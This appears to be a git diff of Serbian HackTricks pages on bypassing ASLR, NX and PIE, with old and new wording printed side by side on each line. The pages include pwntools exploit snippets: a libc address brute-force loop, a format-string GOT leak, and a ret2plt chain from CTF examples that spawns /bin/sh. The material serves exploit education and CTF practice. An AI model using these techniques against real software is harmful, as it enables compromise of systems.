kernel.randomize_va_space=2 # Enable ASLR kernel.randomize_va_space=2 # Enable ASLR
# or # or
kernel.randomize_va_space=0 # Disable ASLR kernel.randomize_va_space=0 # Disable ASLR
``` ```
Nakon što izmenite `/etc/sysctl.conf`, primenite promene sa: После уређивања `/etc/sysctl.conf`, примените промене са:
```bash ```bash
sudo sysctl -p sudo sysctl -p
``` ```
Ovo će osigurati da vaše ASLR postavke ostanu nakon ponovnog pokretanja. This will ensure that your ASLR settings remain across reboots.
## **Bypasses** ## **Bypasses**
### Brute-forcing za 32 bita ### 32bit brute-forcing
PaX deli prostor adresa procesa u **3 grupe**: PaX deli adresni prostor procesa na **3 grupe**:
* **Kod i podaci** (inicijalizovani i neinicijalizovani): `.text`, `.data`, i `.bss` —> **16 bitova** entropije u promenljivoj `delta_exec`. Ova promenljiva se nasumično inicijalizuje sa svakim procesom i dodaje se početnim adresama. * **Kod i podaci** (inicijalizovani i neinicijalizovani): `.text`, `.data`, i `.bss` —> **16 bita** entropije u `delta_exec` varijabli. Ova varijabla se nasumično inicijalizuje sa svakim procesom i dodaje se početnim adresama.
* **Memorija** alocirana pomoću `mmap()` i **deljeni biblioteke** —> **16 bitova**, nazvano `delta_mmap`. * **Memorija** alocirana pomoću `mmap()` i **deljene biblioteke** —> **16 bita**, nazvana `delta_mmap`.
* **Stek** —> **24 bita**, nazvan `delta_stack`. Međutim, efektivno koristi **11 bitova** (od 10. do 20. bajta uključujući), poravnato na **16 bajtova** —> Ovo rezultira u **524,288 mogućih stvarnih adresa steka**. * **Stek** —> **24 bita**, nazvana `delta_stack`. Međutim, efektivno koristi **11 bita** (od 10. do 20. bajta uključujući), poravnato na **16 bajtova** —> Ovo rezultira sa **524,288 mogućih stvarnih adresa steka**.
Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava zaobilaženje ASLR-a pokušavanjem izvršenja iznova i iznova dok eksploatacija ne uspe. Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava zaobilaženje ASLR ponovnim pokušajem izvršavanja iznova i iznova dok eksploatacija ne završi uspešno.
#### Ideje za brute-force: #### Brute-force ideje:
* Ako imate dovoljno veliko preplavljivanje da biste mogli da smestite **veliki NOP sled pre shell koda**, možete jednostavno brute-force adrese na steku dok tok **preskoči neki deo NOP sleda**. * Ako imate dovoljno veliki overflow da smestite **veliki NOP sled pre shellcode-a**, mogli biste jednostavno da brute-force-ujete adrese u steku dok tok **ne preskoči neki deo NOP sled-a**.
* Druga opcija za ovo u slučaju da preplavljivanje nije toliko veliko i eksploatacija može da se pokrene lokalno je moguće **dodati NOP sled i shell kod u promenljivu okruženja**. * Druga opcija za ovo, u slučaju da overflow nije toliko veliki i da se eksploatacija može pokrenuti lokalno, je moguće **dodati NOP sled i shellcode u promenljivu okruženja**.
* Ako je eksploatacija lokalna, možete pokušati brute-force osnovnu adresu libc-a (korisno za 32-bitne sisteme): * Ako je eksploatacija lokalna, možete pokušati da brute-force-ujete osnovnu adresu libc (korisno za 32-bitne sisteme):
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
* Ako napadate udaljeni server, možete pokušati **bruteforce-ovati adresu `libc` funkcije `usleep`**, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku **odgovori sa dodatnih 10 sekundi**, pronašli ste adresu ove funkcije. * Ako napadate udaljeni server, možete pokušati da **brute-force-ujete adresu funkcije `libc` `usleep`**, prosledjujući kao argument 10 (na primer). Ako u nekom trenutku **serveru treba dodatnih 10s da odgovori**, pronašli ste adresu ove funkcije.
{% hint style="success" %} {% hint style="success" %}
Na 64-bitnim sistemima entropija je mnogo veća i ovo nije moguće. U 64bit sistemima entropija je mnogo veća i to nije moguće.
{% endhint %} {% endhint %}
### Lokalne informacije (`/proc/[pid]/stat`) ### Lokalne informacije (`/proc/[pid]/stat`)
Datoteka **`/proc/[pid]/stat`** procesa uvek je čitljiva za sve i **sadrži zanimljive** informacije kao što su: Datoteka **`/proc/[pid]/stat`** procesa je uvek čitljiva za sve i **sadrži zanimljive** informacije kao što su:
* **startcode** & **endcode**: Adrese iznad i ispod sa **TEXT** dela binarnog fajla * **startcode** & **endcode**: Adrese iznad i ispod sa **TEXT** binarnog fajla
* **startstack**: Adresa početka **steka** * **startstack**: Adresa početka **stack-a**
* **start\_data** & **end\_data**: Adrese iznad i ispod gde je **BSS** * **start\_data** & **end\_data**: Adrese iznad i ispod gde se nalazi **BSS**
* **kstkesp** & **kstkeip**: Trenutne adrese **ESP** i **EIP** * **kstkesp** & **kstkeip**: Trenutne **ESP** i **EIP** adrese
* **arg\_start** & **arg\_end**: Adrese iznad i ispod gde su **argumenti komandne linije** * **arg\_start** & **arg\_end**: Adrese iznad i ispod gde su **cli argumenti**.
* **env\_start** & **env\_end**: Adrese iznad i ispod gde su **okružne promenljive** * **env\_start** &**env\_end**: Adrese iznad i ispod gde su **env promenljive**.
Stoga, ako je napadač na istom računaru kao binarni fajl koji se eksploatiše i ovaj binarni fajl ne očekuje prekoračenje iz sirovih argumenata, već iz drugog **ulaza koji se može oblikovati nakon čitanja ove datoteke**. Moguće je da napadač **dobije neke adrese iz ove datoteke i konstruiše ofsete iz njih za eksploataciju**. Dakle, ako je napadač na istom računaru kao i binarni fajl koji se eksploatiše i ovaj binarni fajl ne očekuje prelivanje od sirovih argumenata, već od različitog **ulaza koji se može kreirati nakon čitanja ove datoteke**. Moguće je da napadač **dobije neke adrese iz ove datoteke i konstruira ofsete iz njih za eksploataciju**.
{% hint style="success" %} {% hint style="success" %}
Za više informacija o ovoj datoteci pogledajte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) tražeći `/proc/pid/stat` Za više informacija o ovoj datoteci proverite [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) pretražujući `/proc/pid/stat`
{% endhint %} {% endhint %}
### Imajući curenje ### Imati leak
* **Izazov je dati curenje** * **Izazov je dati leak**
Ako vam je dato curenje (jednostavni CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju libc koja se koristi u sistemu koji eksploatišete). Ovaj primer eksploatacije je izvučen iz [**primera sa ovog mesta**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (proverite tu stranicu za više detalja): Ako dobijete leak (laki CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju libc koja se koristi u sistemu koji eksploatišete). Ovaj primer eksploatacije je izvučen iz [**primera ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (proverite tu stranicu za više detalja):
```python ```python
from pwn import * from pwn import *
@ -135,15 +136,15 @@ p.interactive()
``` ```
* **ret2plt** * **ret2plt**
Zloupotrebom preliva bafera bilo bi moguće iskoristiti **ret2plt** da bi se izvukla adresa funkcije iz libc-a. Proverite: Zloupotrebljavajući buffer overflow, bilo bi moguće iskoristiti **ret2plt** da se izvuče adresa funkcije iz libc. Proverite:
{% content-ref url="ret2plt.md" %} {% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md) [ret2plt.md](ret2plt.md)
{% endcontent-ref %} {% endcontent-ref %}
* **Proizvoljno čitanje formatiranih stringova** * **Format Strings Arbitrary Read**
Baš kao i u slučaju **ret2plt**, ako imate proizvoljno čitanje putem ranjivosti formatiranih stringova, moguće je izvući adresu **libc funkcije** iz GOT-a. Sledeći [**primer je odavde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): Baš kao u ret2plt, ako imate proizvoljno čitanje putem ranjivosti format stringova, moguće je izvući adresu **libc funkcije** iz GOT-a. Sledeći [**primer je odavde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python ```python
payload = p32(elf.got['puts']) # p64() if 64-bit payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|' payload += b'|'
@ -154,7 +155,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main']) payload += p32(elf.symbols['main'])
``` ```
Možete pronaći više informacija o proizvoljnom čitanju formatnih stringova u: Možete pronaći više informacija o Format Strings proizvoljnom čitanju na:
{% content-ref url="../../format-strings/" %} {% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/) [format-strings](../../format-strings/)
@ -162,8 +163,23 @@ Možete pronaći više informacija o proizvoljnom čitanju formatnih stringova u
### Ret2ret & Ret2pop ### Ret2ret & Ret2pop
Pokušajte da zaobiđete ASLR zloupotrebom adresa unutar steka: Pokušajte da zaobiđete ASLR koristeći adrese unutar steka:
{% content-ref url="../../stack-overflow/ret2ret.md" %} {% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md) [ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ret2plt # Ret2plt
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Basic Information
Cilj ove tehnike bio bi **procuriti adresu funkcije iz PLT-a** kako biste mogli zaobići ASLR. Ovo je zato što ako, na primer, procurite adresu funkcije `puts` iz libc-a, možete zatim **izračunati gde je baza `libc`-a** i izračunati ofsete za pristup drugim funkcijama poput **`system`**. Cilj ove tehnike bi bio da **izvuče adresu iz funkcije iz PLT-a** kako bi se moglo zaobići ASLR. To je zato što, na primer, ako izvučete adresu funkcije `puts` iz libc-a, možete zatim **izračunati gde je baza `libc`** i izračunati ofsete za pristup drugim funkcijama kao što su **`system`**.
Ovo se može uraditi sa `pwntools` payload-om kao što je ([**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)): Ovo se može uraditi sa `pwntools` payload-om kao ([**odavde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python ```python
# 32-bit ret2plt # 32-bit ret2plt
payload = flat( payload = flat(
@ -37,15 +38,15 @@ elf.plt['puts'],
elf.symbols['main'] elf.symbols['main']
) )
``` ```
Primetite kako se **`puts`** (koristeći adresu iz PLT-a) poziva sa adresom `puts` smeštenom u `GOT`-u. To je zato što će do trenutka kada `puts` odštampa ulaz `GOT`-a puts, ovaj **ulaz će sadržati adresu `puts` u memoriji**. Napomena kako se **`puts`** (koristeći adresu iz PLT-a) poziva sa adresom `puts` koja se nalazi u GOT-u (Global Offset Table). To je zato što do trenutka kada `puts` ispiše GOT unos `puts`, ovaj **unos će sadržati tačnu adresu `puts` u memoriji**.
Takođe primetite kako se adresa `main` koristi u eksploataciji tako da kada `puts` završi izvršavanje, **binarni fajl ponovo poziva `main` umesto izlaska** (tako da će procurila adresa i dalje biti validna). Takođe, obratite pažnju na to kako se adresa `main` koristi u eksploitu, tako da kada `puts` završi svoju izvršavanje, **binarni program ponovo poziva `main` umesto da izlazi** (tako da će otkrivena adresa ostati važeća).
{% hint style="danger" %} {% hint style="danger" %}
Primetite kako je potrebno da **binarni fajl ne bude kompajliran sa PIE** ili morate imati **pronađenu curenje informacija da biste zaobišli PIE** kako biste znali adresu `PLT`, `GOT` i `main`. Napomena kako da bi ovo funkcionisalo, **binarni program ne može biti kompajliran sa PIE** ili morate **pronaći leak da zaobiđete PIE** kako biste znali adresu PLT-a, GOT-a i `main`. U suprotnom, prvo morate zaobići PIE.
{% endhint %} {% endhint %}
Možete pronaći [**potpuni primer ovog zaobilaženja ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Ovo je bio konačni eksploit iz tog primera: Možete pronaći [**puni primer ovog zaobilaženja ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Ovo je bio konačni exploit iz tog primera:
```python ```python
from pwn import * from pwn import *
@ -81,9 +82,24 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
## Ostali primeri & Reference ## Ostali primeri i reference
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bita, omogućen ASLR ali bez PIE-a, prvi korak je popuniti prelivanje do bajta 0x00 kanara, a zatim pozvati puts i procuriti ga. Sa kanarom se kreira ROP gedžet za pozivanje puts-a kako bi procurio adresu puts-a iz GOT-a, a zatim ROP gedžet za pozivanje `system('/bin/sh')`. * 64 bita, ASLR omogućen, ali bez PIE, prvi korak je popuniti preliv do bajta 0x00 kanarija, a zatim pozvati puts i otkriti ga. Sa kanarijom se kreira ROP gadget za pozivanje puts da bi se otkrila adresa puts iz GOT-a i zatim ROP gadget za pozivanje `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bita, omogućen ASLR, bez kanara, prelivanje steka u glavnoj funkciji iz podfunkcije. ROP gedžet za pozivanje puts-a kako bi procurio adresu puts-a iz GOT-a, a zatim pozvao jedan gedžet. * 64 bita, ASLR omogućen, bez kanarija, preliv staka u main iz funkcije deteta. ROP gadget za pozivanje puts da bi se otkrila adresa puts iz GOT-a, a zatim pozvati jedan gadget.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,42 @@
# No-exec / NX # No-exec / NX
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Osnovne informacije
Bit **No-Execute (NX)**, takođe poznata kao **Execute Disable (XD)** u Intel terminologiji, je bezbednosna karakteristika zasnovana na hardveru dizajnirana da **umiri** efekte **buffer overflow** napada. Kada je implementirana i omogućena, razlikuje između memorijskih regiona koji su namenjeni za **izvršni kod** i one namenjene za **podatke**, kao što su **stack** i **heap**. Osnovna ideja je da se spreči napadač da izvršava zlonamerni kod putem ranjivosti buffer overflow-a stavljanjem zlonamernog koda na stek na primer i usmeravanjem toka izvršavanja ka njemu. **No-Execute (NX)** bit, poznat i kao **Execute Disable (XD)** u Intel terminologiji, je hardverska bezbednosna funkcija dizajnirana da **ublaži** efekte **buffer overflow** napada. Kada se implementira i omogući, razlikuje između memorijskih regiona koji su namenjeni za **izvršni kod** i onih koji su namenjeni za **podatke**, kao što su **stack** i **heap**. Osnovna ideja je sprečavanje napadača da izvrši zlonamerni kod kroz ranjivosti u buffer overflow tako što se zlonamerni kod stavlja u stack, na primer, i usmerava tok izvršenja ka njemu.
## Bypasses ## Bypasses
* Moguće je koristiti tehnike poput [**ROP**](../stack-overflow/rop-return-oriented-programing.md) da se zaobiđe ova zaštita izvršavanjem delova izvršnog koda već prisutnog u binarnom fajlu. * Moguće je koristiti tehnike kao što su [**ROP**](../stack-overflow/rop-return-oriented-programing.md) da se zaobiđe ova zaštita izvršavanjem delova izvršnog koda koji su već prisutni u binarnom fajlu.
* [**Ret2libc**](../stack-overflow/ret2lib/) * [**Ret2libc**](../stack-overflow/ret2lib/)
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) * [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
* **Ret2...** * **Ret2...**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,56 +1,58 @@
# PIE # PIE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Osnovne informacije
Binarni fajl kompajliran kao PIE, ili **Position Independent Executable**, znači da **program može da se učita na različite memorijske lokacije** svaki put kada se izvrši, sprečavajući tvrdo kodirane adrese. Binarni fajl kompajliran kao PIE, ili **izvršni fajl nezavisne pozicije**, znači da se **program može učitati na različitim memorijskim lokacijama** svaki put kada se izvrši, sprečavajući hardkodirane adrese.
Trik za eksploataciju ovih binarnih fajlova leži u eksploatisanju **relativnih adresa**—offseti između delova programa ostaju isti čak i ako se apsolutne lokacije promene. Da biste **zaobišli PIE, potrebno je samo procuriti jednu adresu**, obično sa **steka** koristeći ranjivosti poput napada format string-om. Kada imate jednu adresu, možete izračunati ostale pomoću njihovih **fiksnih offseta**. Trik za iskorišćavanje ovih binarnih fajlova leži u iskorišćavanju **relativnih adresa**—ofseti između delova programa ostaju isti čak i ako se apsolutne lokacije menjaju. Da biste **obišli PIE, potrebno je da iscuri jedna adresa**, obično sa **stack-a** koristeći ranjivosti poput napada format string. Kada dobijete adresu, možete izračunati druge prema njihovim **fiksnim ofsetima**.
Korisna napomena u eksploatisanju PIE binarnih fajlova je da njihova **bazna adresa obično završava na 000** zbog toga što su stranice memorije jedinice randomizacije, veličine 0x1000 bajtova. Ovaj poravnanje može biti ključno **za proveru da li eksploit radi kako se očekuje**, ukazujući da li je identifikovana tačna bazna adresa.\ Koristan savet u iskorišćavanju PIE binarnih fajlova je da njihova **osnovna adresa obično završava sa 000** zbog toga što su memorijske stranice jedinice randomizacije, veličine 0x1000 bajtova. Ova usklađenost može biti kritična **provera ako eksploatacija ne funkcioniše** kako se očekuje, ukazujući na to da li je identifikovana ispravna osnovna adresa.\
Ili možete koristiti ovo za vaš eksploit, ako procurete da se adresa nalazi na **`0x649e1024`** znate da je **bazna adresa `0x649e1000`** i odande možete jednostavno **izračunati offsete** funkcija i lokacija. Ili možete koristiti ovo za vašu eksploataciju, ako iscuri da se adresa nalazi na **`0x649e1024`** znate da je **osnovna adresa `0x649e1000`** i odatle možete samo **izračunati ofsete** funkcija i lokacija.
## Zaobiđi ## Obilaženja
Da biste zaobišli PIE potrebno je **procureti neku adresu učitanog** binarnog fajla, postoje neke opcije za to: Da biste obišli PIE potrebno je **iscuriti neku adresu učitanog** binarnog fajla, postoje neke opcije za to:
* **Onemogućen ASLR**: Ako je ASLR onemogućen, binarni fajl kompajliran sa PIE će uvek biti **učitan na istu adresu**, stoga će **PIE biti beskoristan** jer će adrese objekata uvek biti na istom mestu. * **Onemogućen ASLR**: Ako je ASLR onemogućen, binarni fajl kompajliran sa PIE se uvek **učitava na istoj adresi**, stoga **PIE će biti beskoristan** jer će adrese objekata uvek biti na istom mestu.
* Biti **dat** procurak (često u lakim CTF izazovima, [**proverite ovaj primer**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) * Da vam **bude data** curenje (uobičajeno u lakim CTF izazovima, [**proverite ovaj primer**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Brute-force vrednosti EBP i EIP** na steku dok ne procurete tačne: * **Brute-force EBP i EIP vrednosti** na stack-u dok ne iscurite ispravne:
{% content-ref url="bypassing-canary-and-pie.md" %} {% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) [bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %} {% endcontent-ref %}
